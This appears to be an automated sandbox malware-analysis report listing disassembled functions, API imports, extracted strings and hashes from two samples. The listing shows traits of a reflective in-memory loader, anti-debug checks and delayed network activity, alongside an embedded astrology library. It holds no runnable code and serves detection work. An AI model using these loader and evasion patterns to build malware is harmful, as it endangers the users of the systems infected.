Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: CallFrame@12Setting__amsg_exit__getptd__getptd_noexit
String ID: j
API String ID: 4140145597-2137352139
Opcode ID: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction ID: 56623a847490e82e2739f0755db6997883ef734b0a55c298aedcc31de4a65d99
Opcode Fuzzy Hash: 4255597884e4c706d015ab5a2cc04f3f2598fbc4e01f63f3b4cdc71a0b6bc24f
Instruction Fuzzy Hash: F7117935825256EFCB12DB18C4487EEFB70BB05758F28C18AD4A92B182C3B56992CB81

Function 00407300 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072A0: GetParent.USER32 ref: 004072AD

GetClassNameW.USER32(00000000,?,00000008), ref: 0040732D
lstrcmpW.KERNEL32(?,#32770), ref: 00407344

Strings

#32770, xrefs: 0040733B

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ClassNameParentlstrcmp
String ID: #32770
API String ID: 3513268407-463685578
Opcode ID: ea705c6fb8741df7e964e1a3683373cf89a2b1685164b3cd3bd8b5f9906c8e26
Instruction ID: 7ad1c4379b47bebf2b2103978a7c38b8f9a6717e5ef7992339b3b046c6eca31b
Opcode Fuzzy Hash: ea705c6fb8741df7e964e1a3683373cf89a2b1685164b3cd3bd8b5f9906c8e26
Instruction Fuzzy Hash: 90018670E042099FDF00DFB1D846BBFB7B8AB48304F10042EA905B7280EA78AA44DBD5

Function 10010F44 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 10010F53

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__getptd.LIBCMT ref: 10010F61

Strings

csm, xrefs: 10010F6F

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction ID: 0b68c18b04a2594aeb466f25acbeb17461be63212fdf9adf152435a349185842
Opcode Fuzzy Hash: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction Fuzzy Hash: 41012C38A043458EDB24CF61D45569DB7F5EF04291F20452EF4815AA61CBB0E9C2CF42

Function 032B0F48 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 032B0F57

Part of subcall function 032AEA0D: __getptd_noexit.LIBCMT ref: 032AEA10
Part of subcall function 032AEA0D: __amsg_exit.LIBCMT ref: 032AEA1D

__getptd.LIBCMT ref: 032B0F65

Strings

csm, xrefs: 032B0F73

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction ID: 6378598eb15eddd85f4c6846594cbfd1fde0285c9d205964b064ecbb5bded00b
Opcode Fuzzy Hash: f9f64d09b4068a58e2e8f065dc4f033a2b689a0011f903776a6ee69fe6737778
Instruction Fuzzy Hash: A30128399207068FCF26DF28C444AAEF7B9BF04351F28846DD4419A691DF74D5C1DE42

Function 00414980 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Ref_count_base.LIBCMTD ref: 0041498C
Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 004149C4

Strings

{EA, xrefs: 00414989, 00414991, 0041499A, 004149D5, 004149A0

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ProcessorVirtual$Concurrency::Ref_count_baseRef_count_base::_RootRoot::std::_
String ID: {EA
API String ID: 3339095753-724604133
Opcode ID: b9942df3ba01bbb24ea068e2c4242f8098166b38b278dd571d13c877704ad92b
Instruction ID: 58efee33d6245f086b87c1ea45ee323e5d94d588c341f56d80656ab83e22b8c7
Opcode Fuzzy Hash: b9942df3ba01bbb24ea068e2c4242f8098166b38b278dd571d13c877704ad92b
Instruction Fuzzy Hash: 14F0F9B0D00208EFDB08EFAAD545A9DBBF0EF84304F1081AAE4096B361E7345E40CF54

Function 00444464 Relevance: 5.0, APIs: 4, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000008,?,00406BB4), ref: 00444469
HeapAlloc.KERNEL32(00000000,?,00406BB4), ref: 00444470
GetProcessHeap.KERNEL32(00000000,00000000,?,00406BB4), ref: 004444B5
HeapFree.KERNEL32(00000000,?,00406BB4), ref: 004444BC

Part of subcall function 00444321: GetProcessHeap.KERNEL32(00000000,0000000D,00000000,?,004444AB,?,?,00406BB4), ref: 00444344
Part of subcall function 00444321: HeapAlloc.KERNEL32(00000000,?,004444AB,?,?,00406BB4), ref: 0044434B

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Heap$Process$Alloc$Free
String ID:
API String ID: 1864747095-0
Opcode ID: e3fa1d12d757215b58b7809d50554e53fd8a373d4cd836689b20feb6ad9fc8b2
Instruction ID: a649b1658a80c3429728c5628071330f9bcff7dc12494ab2a3dc0de8c4a2c447
Opcode Fuzzy Hash: e3fa1d12d757215b58b7809d50554e53fd8a373d4cd836689b20feb6ad9fc8b2
Instruction Fuzzy Hash: 5BF05973640B111BF7202BF93C09B9B2A6AAFC0BA1712451FF842C7385DE38C80183E8

Analysis Process: lte7inN.exePID: 7548, Parent PID: 6192COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	10.2%
Signature Coverage:	1.2%
Total number of Nodes:	823
Total number of Limit Nodes:	55

Executed Functions

Function 031F9051 Relevance: 72.6, APIs: 3, Strings: 38, Instructions: 811memorylibraryloaderCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 031F94C2
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 031F94F2
LdrGetProcedureAddress.NTDLL(00000000,?,00000000,?), ref: 031F9819

Strings

otec, xrefs: 031F919E
P, xrefs: 031F9195
mI, xrefs: 031F9240
ushI, xrefs: 031F91BA
S, xrefs: 031F9106
G, xrefs: 031F9224
a, xrefs: 031F915D
a, xrefs: 031F918C
a, xrefs: 031F913B
Lo, xrefs: 031F911B
tu, xrefs: 031F9156
Syst, xrefs: 031F9238
ee, xrefs: 031F910F
a, xrefs: 031F9122
ucti, xrefs: 031F91DD
tNat, xrefs: 031F9229
F, xrefs: 031F91AB
t, xrefs: 031F91A6
Ta, xrefs: 031F929C
A, xrefs: 031F9263
st, xrefs: 031F91CC
Rt, xrefs: 031F9252
iv, xrefs: 031F9231
p, xrefs: 031F9116
tu, xrefs: 031F9185
Via, xrefs: 031F9331
yA, xrefs: 031F9144
fo, xrefs: 031F924B
oc, xrefs: 031F9173
o, xrefs: 031F91E8
ctio, xrefs: 031F928A
A, xrefs: 031F9166
Fu, xrefs: 031F9279
b, xrefs: 031F9132
b, xrefs: 031F92A6
Vi, xrefs: 031F914B
Cach, xrefs: 031F9219
Li, xrefs: 031F912B

Memory Dump Source

Source File: 00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 031F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_31f9000_lte7inN.jbxd

Yara matches

Similarity

API ID: AddressAllocInfoNativeProcedureSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2811151940-2899676511
Opcode ID: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction ID: cf6ee04669d618f895050369287f55f99e0c4a92ad500afde3c4be447b1ff02f
Opcode Fuzzy Hash: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction Fuzzy Hash: C0627A716083858FD735DF25C880BABB7E5BF88304F08496EEAC98B251E770D949CB56

Function 6CA65835 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 1038COMMON

Download Yara Rule

Strings

de431.eph, xrefs: 6CA65BD4
illegal planet number %d., xrefs: 6CA662FC
sun: , xrefs: 6CA66555
barycentric Moshier positions are not supported., xrefs: 6CA65876
using Moshier Eph; , xrefs: 6CA65B16
Chiron's ephemeris is restricted to JD %8.1f - JD %8.1f, xrefs: 6CA663C1
using Moshier eph.; , xrefs: 6CA65A9B
Interpolated apsides are restricted to JD %8.1f - JD %8.1f, xrefs: 6CA6609E
.;C:\Astrolog\, xrefs: 6CA65BCF
trying Swiss Eph; , xrefs: 6CA659EC, 6CA65C65
using Moshier eph.; , xrefs: 6CA66289, 6CA66503
Pholus's ephemeris is restricted to JD %8.1f - JD %8.1f, xrefs: 6CA66407

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID:
String ID: using Moshier eph.; $ trying Swiss Eph; $ using Moshier Eph; $ using Moshier eph.; $.;C:\Astrolog\$Chiron's ephemeris is restricted to JD %8.1f - JD %8.1f$Interpolated apsides are restricted to JD %8.1f - JD %8.1f$Pholus's ephemeris is restricted to JD %8.1f - JD %8.1f$barycentric Moshier positions are not supported.$de431.eph$illegal planet number %d.$sun:
API String ID: 0-3958690428
Opcode ID: 5f718ff2131346f5f2089c3bfa2573581654cb2bd1e77c91b78dfb90dff83675
Instruction ID: d3e9e8c4a41c7c285ea4f76a2425e1eaef97e0bedab99f10bdf135e26a5d7504
Opcode Fuzzy Hash: 5f718ff2131346f5f2089c3bfa2573581654cb2bd1e77c91b78dfb90dff83675
Instruction Fuzzy Hash: 24825671908509DADF249F2ADC447DD7B70FB4A328F188699E4E8A7EC0DB3189E4CB51

Function 1000F100 Relevance: 21.9, APIs: 10, Strings: 2, Instructions: 918sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0001D4C0,?,00000000,?), ref: 1000F406

Strings

`, xrefs: 1000F442
https://, xrefs: 1000F2AB, 1000FA9F

Memory Dump Source

Source File: 00000010.00000002.3137764369.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_10001000_lte7inN.jbxd

Similarity

API ID: Sleep
String ID: `$https://
API String ID: 3472027048-3356742408
Opcode ID: 8bdf530b9ea3ced8279571d6625b001ddbfa3540c5801337f33a91fe9c71cf8c
Instruction ID: d66631ddc7739b2df91dca4a1cd6bdde61ed29147cda0506061661c4489d8bb2
Opcode Fuzzy Hash: 8bdf530b9ea3ced8279571d6625b001ddbfa3540c5801337f33a91fe9c71cf8c
Instruction Fuzzy Hash: 3482E471D00258DFEB54CB64CC85BEDBBB2EF45344F10829CE049AB695DB78AB84CB61

Function 6CA21112 Relevance: 19.5, APIs: 3, Strings: 8, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CAA24FA: __fsopen.LIBCMT ref: 6CAA2507

_sprintf.LIBCMT ref: 6CA21133

Part of subcall function 6CA41814: _sprintf.LIBCMT ref: 6CA4183B
Part of subcall function 6CA41814: MessageBoxA.USER32(?,?,00000030), ref: 6CA41850

_memset.LIBCMT ref: 6CA21265
_memset.LIBCMT ref: 6CA21276

Strings

File %s can not be created., xrefs: 6CA2112D
, xrefs: 6CA21453
</body></html>, xrefs: 6CA2145D
, xrefs: 6CA211B6
Version:0.9StartHTML:00000094EndHTML:00010000StartFragment:00000129EndFragment:00010000, xrefs: 6CA2119C
<html><body>, xrefs: 6CA211A6
, xrefs: 6CA211C0
, xrefs: 6CA21439

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _memset_sprintf$Message__fsopen
String ID: $$</body></html>$$$<html><body>$File %s can not be created.$Version:0.9StartHTML:00000094EndHTML:00010000StartFragment:00000129EndFragment:00010000
API String ID: 2973518034-2975255540
Opcode ID: cbe3f6375c60bef07cb9f2705eaebe471491e3ffce5c5204b6f48a5400fdc454
Instruction ID: 1bc13a7fdcb5ac108bbecd837dadf6e14e3715541b987bf6552cb75d75ba6d79
Opcode Fuzzy Hash: cbe3f6375c60bef07cb9f2705eaebe471491e3ffce5c5204b6f48a5400fdc454
Instruction Fuzzy Hash: 89918FB16152A1DBDB20DF78E68556C37B1B74A309719063EE24987A80D775DCC8CB82

Function 6CAA1F6A Relevance: 13.6, APIs: 9, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 6CAA5DD6

Part of subcall function 6CAA37D0: __FF_MSGBANNER.LIBCMT ref: 6CAA37E9
Part of subcall function 6CAA37D0: __NMSG_WRITE.LIBCMT ref: 6CAA37F0
Part of subcall function 6CAA37D0: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6CAA7A8B,?,00000001,?,?,6CAA7F4A,00000018,6CB12E78,0000000C,6CAA7FDA), ref: 6CAA3815

std::exception::exception.LIBCMT ref: 6CAA5E0B
std::exception::exception.LIBCMT ref: 6CAA5E25
__CxxThrowException@8.LIBCMT ref: 6CAA5E36
IsDebuggerPresent.KERNEL32 ref: 6CAA5EF7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6CAA5F0C
UnhandledExceptionFilter.KERNEL32(6CACFF84), ref: 6CAA5F17
GetCurrentProcess.KERNEL32(C0000409), ref: 6CAA5F33
TerminateProcess.KERNEL32(00000000), ref: 6CAA5F3A

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandledstd::exception::exception$AllocateCurrentDebuggerException@8HeapPresentTerminateThrow_malloc
String ID:
API String ID: 2175014196-0
Opcode ID: 8d76c51ab7426418c5e2c8065d08dfc9caf250995053ad01d646a34f0d0d0c47
Instruction ID: a755d4e2b7ac050158fa8ce45895e315461aba6ba376ee03262db7eef00c85a6
Opcode Fuzzy Hash: 8d76c51ab7426418c5e2c8065d08dfc9caf250995053ad01d646a34f0d0d0c47
Instruction Fuzzy Hash: 814180757183859FCF00EFA5E949A987BB4FB1A31CF10851AE90893B44D7709686CF49

Function 6CA447B5 Relevance: 44.0, APIs: 16, Strings: 9, Instructions: 248
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_sprintf.LIBCMT ref: 6CA447FA
_sprintf.LIBCMT ref: 6CA44846
GetModuleFileNameA.KERNEL32(?,000000FF,?,?,?,00000000,00000000), ref: 6CA44860
_sprintf.LIBCMT ref: 6CA448A1
_sprintf.LIBCMT ref: 6CA448D5
_sprintf.LIBCMT ref: 6CA4491C
_sprintf.LIBCMT ref: 6CA44963
__wgetenv.LIBCMT ref: 6CA4496F
_sprintf.LIBCMT ref: 6CA44992
__wgetenv.LIBCMT ref: 6CA449BC
_sprintf.LIBCMT ref: 6CA449DD
__wgetenv.LIBCMT ref: 6CA44A03
_sprintf.LIBCMT ref: 6CA44A24
_sprintf.LIBCMT ref: 6CA44A5B
_sprintf.LIBCMT ref: 6CA44AAB
_sprintf.LIBCMT ref: 6CA44ADB

Strings

ASTROLOG, xrefs: 6CA449B7
C:\Astrolog, xrefs: 6CA44A4E
ASTR, xrefs: 6CA44951, 6CA44956, 6CA44A02
File '%s' not found., xrefs: 6CA44AA5
%s.as, xrefs: 6CA4483A
%s%s, xrefs: 6CA4495D
r%s, xrefs: 6CA447F4
710, xrefs: 6CA4494C
%s%c%s, xrefs: 6CA4480F, 6CA4491A, 6CA44990, 6CA449DB, 6CA44A22, 6CA44A59

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _sprintf$__wgetenv$FileModuleName
String ID: %s%c%s$%s%s$%s.as$710$ASTR$ASTROLOG$C:\Astrolog$File '%s' not found.$r%s
API String ID: 2614078948-576927601
Opcode ID: d896316e079f4eadcc7ea219c8ddf2e1a2117b29423bd77d97a727ea1400bba2
Instruction ID: 2509b078013fffc1934883c08d70025a3891489a366f7f1e12a542eec1ee36ff
Opcode Fuzzy Hash: d896316e079f4eadcc7ea219c8ddf2e1a2117b29423bd77d97a727ea1400bba2
Instruction Fuzzy Hash: 2D9195B580025CABDB11DEA0CD48FDB777CAB14308F1441E6E659A3541EB74DAC98F60

Function 6CA67CC1 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 536COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6CA67DF6
_free.LIBCMT ref: 6CA67E0B
_sprintf.LIBCMT ref: 6CA67EED
_strncmp.LIBCMT ref: 6CA67F22
_sprintf.LIBCMT ref: 6CA682B3
_sprintf.LIBCMT ref: 6CA682E2
_sprintf.LIBCMT ref: 6CA6834D

Strings

jd %f > upper limit %f;, xrefs: 6CA6833E
se1, xrefs: 6CA67EE2
asteroid eph. file (%s): , xrefs: 6CA682C3
.;C:\Astrolog\, xrefs: 6CA67F50
asteroid No. %d (%s): , xrefs: 6CA68271
plan. moon No. %d (%s): , xrefs: 6CA682AD
plan. COB No. %d (%s): , xrefs: 6CA682A6
99., xrefs: 6CA6828B
moon eph. file (%s): , xrefs: 6CA682D6
planets eph. file (%s): , xrefs: 6CA682CF
jd %f < lower limit %f;, xrefs: 6CA6831D
s.%s, xrefs: 6CA67EE7

Memory Dump Source

Source File: 00000010.00000002.3137867560.000000006CA21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000010.00000002.3137852401.000000006CA20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137918944.000000006CACD000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137949682.000000006CB17000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137964558.000000006CB19000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3137989412.000000006CB3D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138007074.000000006CB3E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB40000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB43000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB4E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138028273.000000006CB50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3138124388.000000006CB53000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6ca20000_lte7inN.jbxd

Similarity

API ID: _sprintf$_free$_strncmp
String ID: .;C:\Astrolog\$99.$asteroid No. %d (%s): $asteroid eph. file (%s): $jd %f < lower limit %f;$jd %f > upper limit %f;$moon eph. file (%s): $plan. COB No. %d (%s): $plan. moon No. %d (%s): $planets eph. file (%s): $s.%s$se1
API String ID: 1187704711-3796515
Opcode ID: 99b2b07b1ee6cbe00d6ae160c2796f63db113b982fd40122b30e6911f9ac862b
Instruction ID: 1809c1480d7284b5fd98e9dc9d9931305d902b25efa1ec545053d1b6e9be124a
